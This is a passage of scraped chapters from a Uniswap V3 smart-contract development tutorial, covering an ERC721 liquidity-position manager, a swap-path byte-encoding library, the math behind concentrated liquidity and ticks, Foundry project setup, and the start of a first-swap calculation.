built the UniswapV3Manager contract to facilitate interaction with pool contracts (to make some calculations simpler and to enable multi-pool swaps). This contract was a good demonstration of how core Uniswap contracts can be extended. And were going to push this idea a little bit further. Well need a manager contract that will implement the ERC721 standard and will manage liquidity positions. The contract will have the standard NFT functionality (minting, burning, transferring, balances and ownership tracking, etc.) and will allow to provide and remove liquidity to pools. The contract will need to be the actual owner of liquidity in pools because we dont want to let users to add liquidity without minting a token and removing entire liquidity without burning one. We want every liquidity position to be linked to an NFT token, and we want to them to be synchronized. Lets see what functions well have in the new contract: since itll be an NFT contract, itll have all the ERC721 functions, including tokenURI , which returns the URI of the image of an NFT token; mint and burn to mint and burn liquidity and NFT tokens at the same time; addLiquidity and removeLiquidity to add and remove liquidity in existing positions; collect , to collect tokens after removing liquidity. Alright, lets get to code. The Minimal Contract # Since we dont want to implement the ERC721 standard from scratch, were going to use a library. We already have Solmate in the dependencies, so were going to use its ERC721 implementation . Using the ERC721 implementation from OpenZeppelin is also an option, but I personally prefer the gas optimized contracts from Solmate. This will be the bare minimum of the NFT manager contract: contract UniswapV3NFTManager is ERC721 { address public immutable factory; constructor ( address factoryAddress) ERC721( \"UniswapV3 NFT Positions\" , \"UNIV3\" ) { factory = factoryAddress; } function tokenURI ( uint256 tokenId) public view override returns ( string memory ) { return \"\" ; } } tokenURI will return an empty string until we implement a metadata and SVG renderer. Weve added the stub so that the Solidity compiler doesnt fail while were working on the rest of the contract (the tokenURI function in the Solmate ERC721 contract is virtual, so we must implement it). Minting # Minting, as we discussed earlier, will involve two operations: adding liquidity to a pool and minting an NFT. To keep the links between pool liquidity positions and NFTs, well need a mapping and a structure: struct TokenPosition { address pool; int24 lowerTick; int24 upperTick; } mapping ( uint256 => TokenPosition) public positions; To find a position we need: a pool address; an owner address; the boundaries of a position (lower and upper ticks). Since the NFT manager contract will be the owner of all positions created via it, we dont need to store positions owner address and we can only store the rest data. The keys in the positions mapping are token IDs; the mapping links NFT IDs to the position data thats required to find a liquidity position. Lets implement minting: struct MintParams { address recipient; address tokenA; address tokenB; uint24 fee; int24 lowerTick; int24 upperTick; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; } function mint (MintParams calldata params) public returns ( uint256 tokenId) { ... } The minting parameters are identical to those of UniswapV3Manager , with an addition of recipient , which will allow to mint NFT to another address. In the mint function, we first add liquidity to a pool: IUniswapV3Pool pool = getPool(params.tokenA, params.tokenB, params.fee); ( uint128 liquidity, uint256 amount0, uint256 amount1) = _addLiquidity( AddLiquidityInternalParams({ pool : pool, lowerTick : params.lowerTick, upperTick : params.upperTick, amount0Desired : params.amount0Desired, amount1Desired : params.amount1Desired, amount0Min : params.amount0Min, amount1Min : params.amount1Min }) ); _addLiquidity is identical to the body of mint function in the UniswapV3Manager contract: it converts ticks to $\\sqrt(P)$, computes liquidity amount, and calls pool.mint() . Next, we mint an NFT: tokenId = nextTokenId ++ ; _mint(params.recipient, tokenId); totalSupply ++ ; tokenId is set to the current nextTokenId and the latter is then incremented. The _mint function is provided by the ERC721 contract from Solmate. After minting a new token, we update totalSupply . Finally, we need to store the information about the new token and the new position: TokenPosition memory tokenPosition = TokenPosition({ pool : address (pool), lowerTick : params.lowerTick, upperTick : params.upperTick }); positions[tokenId] = tokenPosition; This will later help us find liquidity position by token ID. Adding Liquidity # Next, well implement a function to add liquidity to an existing position, in the case when we want more liquidity to a position that already has some. In such cases, we dont want to mint an NFT, but only to increase the amount of liquidity in an existing position. For that, well only need to provide a token ID and token amounts: function addLiquidity (AddLiquidityParams calldata params) public returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); (liquidity, amount0, amount1) = _addLiquidity( AddLiquidityInternalParams({ pool : IUniswapV3Pool(tokenPosition.pool), lowerTick : tokenPosition.lowerTick, upperTick : tokenPosition.upperTick, amount0Desired : params.amount0Desired, amount1Desired : params.amount1Desired, amount0Min : params.amount0Min, amount1Min : params.amount1Min }) ); } This function ensures theres an existing token and calls pool.mint() with parameters of an existing position. Remove Liquidity # Recall that in the UniswapV3Manager contract we didnt implement a burn function because we wanted users to be owners of liquidity positions. Now, we want the NFT manager to be the owner. And we can have liquidity burning implemented in it: struct RemoveLiquidityParams { uint256 tokenId; uint128 liquidity; } function removeLiquidity (RemoveLiquidityParams memory params) public isApprovedOrOwner(params.tokenId) returns ( uint256 amount0, uint256 amount1) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); ( uint128 availableLiquidity, , , , ) = pool.positions( poolPositionKey(tokenPosition) ); if (params.liquidity > availableLiquidity) revert NotEnoughLiquidity(); (amount0, amount1) = pool.burn( tokenPosition.lowerTick, tokenPosition.upperTick, params.liquidity ); } Were again checking that provided token ID is valid. And we also need to ensure that a position has enough liquidity to burn. Collecting Tokens # The NFT manager contract can also collect tokens after burning liquidity. Notice that collected tokens are send to msg.sender since the contract manages liquidity on behalf of the caller: struct CollectParams { uint256 tokenId; uint128 amount0; uint128 amount1; } function collect (CollectParams memory params) public isApprovedOrOwner(params.tokenId) returns ( uint128 amount0, uint128 amount1) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); (amount0, amount1) = pool.collect( msg.sender, tokenPosition.lowerTick, tokenPosition.upperTick, params.amount0, params.amount1 ); } Burning # Finally, burning. Unlike the other functions of the contract, this function doesnt do anything with a pool: it only burns an NFT. And to burn an NFT, the underlying position must be empty and tokens must be collected. So, if we want to burn an NFT, we need to: call removeLiquidity an remove the entire position liquidity; call collect to collect the tokens after burning the position; call burn to burn the token. function burn ( uint256 tokenId) public isApprovedOrOwner(tokenId) { TokenPosition memory tokenPosition = positions[tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); ( uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = pool .positions(poolPositionKey(tokenPosition)); if (liquidity > 0 || tokensOwed0 > 0 || tokensOwed1 > 0 ) revert PositionNotCleared(); delete positions[tokenId]; _burn(tokenId); totalSupply -- ; } Thats it! \\[ \\] NFT Manager Contract The Minimal Contract Minting Adding Liquidity Remove Liquidity Collecting Tokens Burning", "labels": ["Documentation"]}, {"title": "Providing Liquidity #", "html_url": "https://uniswapv3book.com/docs/milestone_1/providing-liquidity/", "body": "Providing Liquidity #", "labels": ["Documentation"]}, {"title": "Swap Path #", "html_url": "https://uniswapv3book.com/docs/milestone_4/path/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Swap Path Swap Path Path Library Calculating the Number of Pools in a Path Figuring Out If a Path Has Multiple Pools Extracting First Pool Parameters From a Path Proceeding to a Next Pair in a Path Decoding First Pool Parameters Swap Path # Lets imagine that we have only these pools: WETH/USDC, USDC/USDT, WBTC/USDT. If we want to swap WETH for WBTC, well need to make multiple swaps (WETHUSDCUSDTWBTC) since theres no WETH/WBTC pool. We can do this manually or we can improve our contracts to handle such chained, or multi-pool, swaps. Of course, well do the latter! When doing multi-pool swaps, were sending output of a previous swap to the input of the next one. For example: in WETH/USDC pool, were selling WETH and buying USDC; in USDC/USDT pool, were selling USDC from the previous swap and buying USDT; in WBTC/USDT pool, were selling USDT from the previous pool and buying WBTC. We can turn this series into a path: WETH/USDC,USDC/USDT,WBTC/USDT And iterate over such path in our contracts to perform multiple swaps in one transaction. However, recall from the previous chapter that we dont need to know pool addresses and, instead, we can derive them from pool parameters. Thus, the above path can be turned into a series of tokens: WETH, USDC, USDT, WBTC And recall that tick spacing is another parameter (besides tokens) that identifies a pool. Thus, the above path becomes: WETH, 60, USDC, 10, USDT, 60, WBTC Where 60 and 10 are tick spacings. Were using 60 in volatile pairs (e.g. ETH/USDC, WBTC/USDT) and 10 in stablecoin pairs (USDC/USDT). Now, having such path, we can iterate over it to build pool parameters for each of the pool: WETH, 60, USDC ; USDC, 10, USDT ; USDT, 60, WBTC . Knowing these parameters, we can derive pool addresses using PoolAddress.computeAddress , which we implemented in the previous chapter. We also can use this concept when doing swaps within one pool: the path would simple contain the parameters of one pool. And, thus, we can use swap paths in all swaps, universally. Lets build a library to work with swap paths. Path Library # In code, a swap path is a sequence of bytes. In Solidity, a path can be built like that: bytes .concat( bytes20 ( address (weth)), bytes3 ( uint24 ( 60 )), bytes20 ( address (usdc)), bytes3 ( uint24 ( 10 )), bytes20 ( address (usdt)), bytes3 ( uint24 ( 60 )), bytes20 ( address (wbtc)) ); And it looks like that: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 # weth address 00003c # 60 A0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 # usdc address 00000a # 10 dAC17F958D2ee523a2206206994597C13D831ec7 # usdt address 00003c # 60 2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 # wbtc address These are the functions that well need to implement: calculating the number of pools in a path; figuring out if a path has multiple pools; extracting first pool parameters from a path; proceeding to the next pair in a path; and decoding first pool parameters. Calculating the Number of Pools in a Path # Lets begin with calculating the number of pools in a path: // src/lib/Path.sol library Path { /// @dev The length the bytes encoded address uint256 private constant ADDR_SIZE = 20 ; /// @dev The length the bytes encoded tick spacing uint256 private constant TICKSPACING_SIZE = 3 ; /// @dev The offset of a single token address + tick spacing uint256 private constant NEXT_OFFSET = ADDR_SIZE + TICKSPACING_SIZE; /// @dev The offset of an encoded pool key (tokenIn + tick spacing + tokenOut) uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of a path that contains 2 or more pools; uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; ... We first define a few constants: ADDR_SIZE is the size of an address, 20 bytes; TICKSPACING_SIZE is the size of a tick spacing, 3 bytes ( uint24 ); NEXT_OFFSET is the offset of a next token addressto get it, we skip an address and a tick spacing; POP_OFFSET is the offset of a pool key (token address + tick spacing + token address); MULTIPLE_POOLS_MIN_LENGTH is the minimum length of a path that contains 2 or more pools (one set of pool parameters + tick spacing + token address). To count the number of pools in a path, we subtract the size of an address (first or last token in a path) and divide the remaining part by NEXT_OFFSET (address + tick spacing): function numPools ( bytes memory path) internal pure returns ( uint256 ) { return (path.length - ADDR_SIZE) / NEXT_OFFSET; } Figuring Out If a Path Has Multiple Pools # To check if there are multiple pools in a path, we need to compare the length of a path with MULTIPLE_POOLS_MIN_LENGTH : function hasMultiplePools ( bytes memory path) internal pure returns ( bool ) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } Extracting First Pool Parameters From a Path # To implement other functions, well need a helper library because Solidity doesnt have native bytes manipulation functions. Specifically, well need a function to extract a sub-array from an array of bytes, and a couple of functions to convert bytes to address and uint24 . Luckily, theres a great open-source library called solidity-bytes-utils . To use the library, we need to extend the bytes type in the Path library: library Path { using BytesLib for bytes ; ... } We can implement getFirstPool now: function getFirstPool ( bytes memory path) internal pure returns ( bytes memory ) { return path.slice( 0 , POP_OFFSET); } The function simply returns the first token address + tick spacing + token address segment encoded as bytes. Proceeding to a Next Pair in a Path # Well use the next function when iterating over a path and throwing away processed pools. Notice that were removing token address + tick spacing, not full pool parameters, because we need the other token address to calculate next pool address. function skipToken ( bytes memory path) internal pure returns ( bytes memory ) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } Decoding First Pool Parameters # And, finally, we need to decode the parameters of the first pool in a path: function decodeFirstPool ( bytes memory path) internal pure returns ( address tokenIn, address tokenOut, uint24 tickSpacing ) { tokenIn = path.toAddress( 0 ); tickSpacing = path.toUint24(ADDR_SIZE); tokenOut = path.toAddress(NEXT_OFFSET); } Unfortunately, BytesLib doesnt implement toUint24 function but we can implement it ourselves! BytesLib has multiple toUintXX functions, so we can take one of them and convert to a uint24 one: library BytesLibExt { function toUint24 ( bytes memory _bytes, uint256 _start) internal pure returns ( uint24 ) { require(_bytes.length >= _start + 3 , \"toUint24_outOfBounds\" ); uint24 tempUint; assembly { tempUint := mload ( add ( add (_bytes, 0x3 ), _start)) } return tempUint ; } } Were doing this in a new library contract, which we can then use in our Path library alongside BytesLib : library Path { using BytesLib for bytes ; using BytesLibExt for bytes ; ... } Swap Path Path Library Calculating the Number of Pools in a Path Figuring Out If a Path Has Multiple Pools Extracting First Pool Parameters From a Path Proceeding to a Next Pair in a Path Decoding First Pool Parameters", "labels": ["Documentation"]}, {"title": "Introduction to Uniswap V3 #", "html_url": "https://uniswapv3book.com/docs/introduction/uniswap-v3/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Uniswap V3 Introduction to Uniswap V3 Concentrated Liquidity The Mathematics of Uniswap V3 Pricing Ticks Introduction to Uniswap V3 # This chapter retells the whitepaper of Uniswap V3 . Again, its totally ok if you dont understand all the concepts. They will be clearer when converted to code. To better understand the innovations Uniswap V3 brings, lets first look at the imperfections of Uniswap V2. Uniswap V2 is a general exchange that implements one AMM algorithm. However, not all trading pairs are equal. Pairs can be grouped by price volatility: Tokens with medium and high price volatility. This group includes most tokens since most tokens dont have their prices pegged to something and are subject to market fluctuations. Tokens with low volatility. This group includes pegged tokens, mainly stablecoins: USDC/USDT, USDC/DAI, USDT/DAI, etc. Also: ETH/stETH, ETH/rETH (variants of wrapped ETH). These groups require different, lets call them, pool configurations. The main difference is that pegged tokens require high liquidity to reduce the demand effect (we learned about it in the previous chapter) on big trades. The prices of USDC and USDT must stay close to 1, no matter how big the number of tokens we want to buy and sell. Since Uniswap V2s general AMM algorithm is not very well suited for stablecoin trading, alternative AMMs (mainly Curve ) were more popular for stablecoin trading. What caused this problem is that liquidity in Uniswap V2 pools is distributed infinitelypool liquidity allows trades at any price, from 0 to infinity: This might not seem like a bad thing, but this makes capital inefficient. Historical prices of an asset stay within some defined range, whether its narrow or wide. For example, the historical price range of ETH is from $0.75 to $4,800 (according to CoinMarketCap ). Today (June 2022, 1 ETH costs $1,800 ), no one would buy 1 ether at $5000 , so it makes no sense to provide liquidity at this price. Thus, it doesnt really make sense providing liquidity in a price range thats far away from the current price or that will never be reached. However, we all believe in ETH reaching $10,000 one day. Concentrated Liquidity # Uniswap V3 introduces concentrated liquidity : liquidity providers can now choose the price range they want to provide liquidity into. This improves capital efficiency by allowing to put more liquidity into a narrow price range, which makes Uniswap more diverse: it can now have pools configured for pairs with different volatility. This is how V3 improves V2. In a nutshell, a Uniswap V3 pair is many small Uniswap V2 pairs. The main difference between V2 and V3 is that, in V3, there are many price ranges in one pair. And each of these shorter price ranges has finite reserves . The entire price range from 0 to infinite is split into shorter price ranges, with each of them having its own amount of liquidity. But, whats crucial is that within that shorter price ranges, it works exactly as Uniswap V2 . This is why I say that a V3 pair is many small V2 pairs. Now, lets try to visualize it. What were saying is that we dont want the curve to be infinite. We cut it at the points $a$ and $b$ and say that these are the boundaries of the curve. Moreover, we shift the curve so the boundaries lay on the axes. This is what we get: It looks lonely, doesnt it? This is why there are many price ranges in Uniswap V3so they dont feel lonely As we saw in the previous chapter, buying or selling tokens moves the price along the curve. A price range limits the movement of the price. When the price moves to either of the points, the pool becomes depleted : one of the token reserves will be 0 and buying this token wont be possible. On the chart above, lets assume that the start price is at the middle of the curve. To get to the point $a$, we need to buy all available $y$ and maximize $x$ in the range; to get to the point $b$, we need to buy all available $x$ and maximize $y$ in the range. At these points, theres only one token in the range! Fun fact: this allows to use Uniswap V3 price ranges as limit-orders! What happens when the current price range gets depleted during a trade? The price slips into the next price range. If the next price range doesnt exist, the trade ends up fulfilled partially-well see how this works later in the book. This is how liquidity is spread in the USDC/ETH pool in production : You can see that theres a lot of liquidity around the current price but the further away from it the less liquidity there isthis is because liquidity providers strive to have higher efficiency of their capital. Also, the whole range is not infinite, its upper boundary is shown on the image. The Mathematics of Uniswap V3 # Mathematically, Uniswap V3 is based on V2: it uses the same formulas, but theyre lets call it augmented . To handle transitioning between price ranges, simplify liquidity management, and avoid rounding errors, Uniswap V3 uses these new concepts: $$L = \\sqrt{xy}$$ $$\\sqrt{P} = \\sqrt{\\frac{y}{x}}$$ $L$ is the amount of liquidity . Liquidity in a pool is the combination of token reserves (that is, two numbers). We know that their product is $k$, and we can use this to derive the measure of liquidity, which is $\\sqrt{xy}$a number that, when multiplied by itself, equals to $k$. $L$ is the geometric mean of $x$ and $y$. $y/x$ is the price of token 0 in terms of 1. Since token prices in a pool are reciprocals of each other, we can use only one of them in calculations (and by convention Uniswap V3 uses $y/x$). The price of token 1 in terms of token 0 is simply $\\frac{1}{y/x}=\\frac{x}{y}$. Similarly, $\\frac{1}{\\sqrt{P}} = \\frac{1}{\\sqrt{y/x}} = \\sqrt{\\frac{x}{y}}$. Why using $\\sqrt{p}$ instead of $p$? There are two reasons: Square root calculation is not precise and causes rounding errors. Thus, its easier to store the square root without calculating it in the contracts (we will not store $x$ and $y$ in the contracts). $\\sqrt{P}$ has an interesting connection to $L$: $L$ is also the relation between the change in output amount and the change in $\\sqrt{P}$. $$L = \\frac{\\Delta y}{\\Delta\\sqrt{P}}$$ Proof: $$L = \\frac{\\Delta y}{\\Delta\\sqrt{P}}$$ $$\\sqrt{xy} = \\frac{y_1 - y_0}{\\sqrt{P_1} - \\sqrt{P_0}}$$ $$\\sqrt{xy} (\\sqrt{P_1} - \\sqrt{P_0}) = y_1 - y_0$$ $$\\sqrt{xy} (\\sqrt{\\frac{y_1}{x_1}} - \\sqrt{\\frac{y_0}{x_0}}) = y_1 - y_0$$ $$\\textrm{Since } \\sqrt{x_1y_1} = \\sqrt{x_0y_0} = \\sqrt{xy} = L,$$ $$\\sqrt{\\frac{x_1y_1y_1}{x_1}} - \\sqrt{\\frac{x_0y_0y_0}{x_0}} = y_1 - y_0$$ $$\\sqrt{y_1^2} - \\sqrt{y_0^2} = y_1 - y_0$$ $$y_1 - y_0 = y_1 - y_0$$ Pricing # Again, we dont need to calculate actual priceswe can calculate output amount right away. Also, since were not going to track and store $x$ and $y$, our calculation will be based only on $L$ and $\\sqrt{P}$. From the above formula, we can find $\\Delta y$: $$\\Delta y = \\Delta \\sqrt{P} L$$ See the third step in the proof above. As we discussed above, prices in a pool are reciprocals of each other. Thus, $\\Delta x$ is: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ $L$ and $\\sqrt{P}$ allow us to not store and update pool reserves. Also, we dont need to calculate $\\sqrt{P}$ each time because we can always find $\\Delta \\sqrt{P}$ and its reciprocal. Ticks # As we learned in this chapter, the infinite price range of V2 is split into shorter price ranges in V3. Each of these shorter price ranges is limited by boundariesupper and lower points. To track the coordinates of these boundaries, Uniswap V3 uses ticks . In V3, the entire price range is demarcated by evenly distributed discrete ticks. Each tick has an index and corresponds to a certain price: $$p(i) = 1.0001^i$$ Where $p(i)$ is the price at tick $i$. Taking powers of 1.0001 has a desirable property: the difference between two adjacent ticks is 0.01% or 1 basis point . Basis point (1/100th of 1%, or 0.01%, or 0.0001) is a unit of measure of percentages in finance. You couldve heard about basis point when central banks announced changes in interest rates. As we discussed above, Uniswap V3 stores $\\sqrt{P}$, not $P$. Thus, the formula is in fact: $$\\sqrt{p(i)} = \\sqrt{1.0001}^i = 1.0001 ^{\\frac{i}{2}}$$ So, we get values like: $\\sqrt{p(0)} = 1$, $\\sqrt{p(1)} = \\sqrt{1.0001} \\approx 1.00005$, $\\sqrt{p(-1)} \\approx 0.99995$. Ticks are integers that can be positive and negative and, of course, theyre not infinite. Uniswap V3 stores $\\sqrt{P}$ as a fixed point Q64.96 number, which is a rational number that uses 64 bits for the integer part and 96 bits for the fractional part. Thus, prices (equal to the square of $\\sqrt{P}$) are within the range: $[2^{-128}, 2^{128}]$. And ticks are within the range: $$[log_{1.0001}2^{-128}, log_{1.0001}{2^{128}}] = [-887272, 887272]$$ For deeper dive into the math of Uniswap V3, I cannot but recommend this technical note by Atis Elsts . \\[ \\] Introduction to Uniswap V3 Concentrated Liquidity The Mathematics of Uniswap V3 Pricing Ticks", "labels": ["Documentation"]}, {"title": "Development environment #", "html_url": "https://uniswapv3book.com/docs/introduction/dev-environment/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Development Environment Development environment Quick Introduction to Ethereum Local Development Environment Foundry Ethers.js MetaMask React Setting Up the Project Development environment # Were going to build two applications: An on-chain one: a set of smart contracts deployed on Ethereum. An off-chain one: a front-end application that will interact with the smart contracts. While the front-end application development is part of this book, it wont be our main focus. We will build it solely to demonstrate how smart contracts are integrated with front-end applications. Thus, the front-end application is optional, but Ill still provide the code. Quick Introduction to Ethereum # Ethereum is a blockchain that allows anyone to run applications on it. It might look like a cloud provider, but there are multiple differences: You dont pay for hosting your application. But you pay for deployment. Your application is immutable. That is: you wont be able to modify it after its deployed. Users will pay to use your application. To better understand these moments, lets see what Ethereum is made of. At the core of Ethereum (and any other blockchain) is a database. The most valuable data in Ethereums database is the state of accounts . An account is an Ethereum address with associated data: Balance: accounts ether balance. Code: bytecode of the smart contract deployed at this address. Storage: space used by smart contracts to store data. Nonce: a serial integer thats used to protect against replay attacks. Ethereums main job is building and maintaining this data in a secure way that doesnt allow unauthorized access. Ethereum is also a network, a network of computers that build and maintain the state independently of each other. The main goal of the network is to decentralize access to the database : there must be no single authority thats allowed to modify anything in the database unilaterally. This is achieved by a means of consensus , which is a set of rules all the nodes in the network follow. If one party decides to abuse a rule, itll be excluded from the network. Fun fact: blockchain can use MySQL! Nothing prevents this besides performance. In its turn, Ethereum uses LevelDB , a fast key-value database. Every Ethereum node also runs EVM, Ethereum Virtual Machine. A virtual machine is a program that can run other programs, and EVM is a program that executes smart contracts. Users interact with contracts through transactions: besides simply sending ether, transactions can contain smart contract call data. It includes: An encoded contract function name. Function parameters. Transactions are packed in blocks and blocks then mined by miners. Each participant of the network can validate any transaction and any block. In a sense, smart contracts are similar to JSON APIs but instead of endpoints you call smart contract functions and you provide function arguments. Similar to API backends, smart contracts execute programmed logic, which can optionally modify smart contract storage. Unlike JSON API, you need to send a transaction to mutate blockchain state, and youll need to pay for each transaction youre sending. Finally, Ethereum nodes expose a JSON-RPC API. Through this API we can interact with a node to: get account balance, estimate gas costs, get blocks and transactions, send transactions, and execute contract calls without sending transactions (this is used to read data from smart contracts). Here you can find the full list of available endpoints. Transactions are also sent through the JSON-RPC API, see eth_sendTransaction . Local Development Environment # There are multiple smart contract development environments that are used today: Truffle Hardhat Foundry Truffle is the oldest of the three and is the less popular of them. Hardhat is its improved descendant and is the most widely used tool. Foundry is the new kid on the block, which brings a different view on testing. While HardHat is still a popular solution, more and more projects are switching to Foundry. And there are multiple reasons for that: With Foundry, we can write tests in Solidity. This is much more convenient because we dont need to jump between JavaScript (Truffle and HardHat use JS for tests and automation) and Solidity during development. Writing tests in Solidity is much more convenient because you have all the native features (e.g. you dont need a special type for big numbers and you dont need to convert between strings and BigNumber ). Foundry doesnt run a node during testing. This makes testing and iterating on features much faster! Truffle and HardHat start a node whenever you run tests; Foundry executes tests on an internal EVM. That being said, well use Foundry as our main smart contract development and testing tool. Foundry # Foundry is a set of tools for Ethereum applications development. Specifically, were going to use: Forge , a testing framework for Solidity. Anvil , a local Ethereum node designed for development with Forge. Well use it to deploy our contracts to a local node and connect to it through the front-end app. Cast , a CLI tool with a ton of helpful features. Forge makes smart contracts developers life so much easier. With Forge, we dont need to run a local node to test contracts. Instead, Forge runs tests on its internal EVM, which is much faster and doesnt require sending transactions and mining blocks. Forge lets us write tests in Solidity! Forge also makes it easier to simulate blockchain state: we can easily fake our ether or token balance, execute contracts from other addresses, deploy any contracts at any address, etc. However, well still need a local node to deploy our contract to. For that, well use Anvil. Front-end applications use JavaScript Web3 libraries to interact with Ethereum nodes (to send transaction, query state, estimate transaction gas cost, etc.)this is why well need to run a local node. Ethers.js # Ethers.js is a set of Ethereum utilities written in JavaScript. This is one of the two (the other one is web3.js ) most popular JavaScript libraries used in decentralized applications development. These libraries allow us to interact with an Ethereum node via the JSON-API, and they come with multiple utility functions that make developers life easier. MetaMask # MetaMask is an Ethereum wallet in your browser. Its a browser extension that creates and securely stores Ethereum private keys. MetaMask is the main Ethereum wallet application used by millions of users. Well use it to sign transactions that well send to our local node. React # React is a well-known JavaScript library for building front-end applications. You dont need to know React, Ill provide a template application. Setting Up the Project # To set up the project, create a new folder and run forge init in it: $ mkdir uniswapv3clone $ cd uniswapv3clone $ forge init If youre using Visual Studio Code, add --vscode flag to forge init : forge init --vscode . Forge will initialize the project with VSCode specific settings. Forge will create sample contracts in src , test , and script foldersthese can be removed. To set up the front-end application: $ npx create-react-app ui Its located in a subfolder so theres no conflict between folder names. Development environment Quick Introduction to Ethereum Local Development Environment Foundry Ethers.js MetaMask React Setting Up the Project", "labels": ["Documentation"]}, {"title": "First Swap #", "html_url": "https://uniswapv3book.com/docs/milestone_1/first-swap/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer First Swap First Swap Calculating Swap Amounts Implementing a Swap Testing Swapping Homework First Swap # Now that we have liquidity, we can make our first swap! Calculating Swap Amounts # First step, of course, is to figure out how to calculate swap amounts. And, again, lets pick and hardcode some amount of USDC were going to trade in for ETH. Let it be 42! Were going to buy ETH for 42 USDC. After deciding how many tokens we want to sell, we need to calculate how many tokens well get in exchange. In Uniswap V2, we wouldve used current pool reserves, but in Uniswap V3 we have $L$ and $\\sqrt{P}$ and we know the fact that, when swapping within a price range, only $\\sqrt{P}$ changes and $L$ remains unchanged (Uniswap V3 acts exactly as V2 when swapping is done only within one price range). We also know that: $$L = \\frac{\\Delta y}{\\Delta \\sqrt{P}}$$ And we know $\\Delta y$! This is the 42 USDC were going to trade in! Thus, we can find how selling 42 USDC will affect the current $\\sqrt{P}$ given the $L$: $$\\Delta \\sqrt{P} = \\frac{\\Delta y}{L}$$ In Uniswap V3, we choose the price we want our trade to lead to (recall that swapping changes the current price, i.e. it moves the current price along the curve). Knowing the target price, the contract will calculate the amount of input token it needs to take from us and the respective amount of output token itll give us. Lets plug in our numbers into the above formula: $$\\Delta \\sqrt{P} = \\frac{42 \\enspace USDC}{1517882343751509868544} = 2192253463713690532467206957$$ After adding this to the current $\\sqrt{P}$, well get the target price: $$\\sqrt{P_{target}} = \\sqrt{P_{current}} + \\Delta \\sqrt{P}$$ $$\\sqrt{P_{target}} = 5604469350942327889444743441197$$ To calculate the target price in Python: amount_in = 42 * eth price_diff = (amount_in * q96) // liq price_next = sqrtp_cur + price_diff print( \"New price:\" , (price_next / q96) ** 2 ) print( \"New sqrtP:\" , price_next) print( \"New tick:\" , price_to_tick((price_next / q96) ** 2 )) # New price: 5003.913912782393 # New sqrtP: 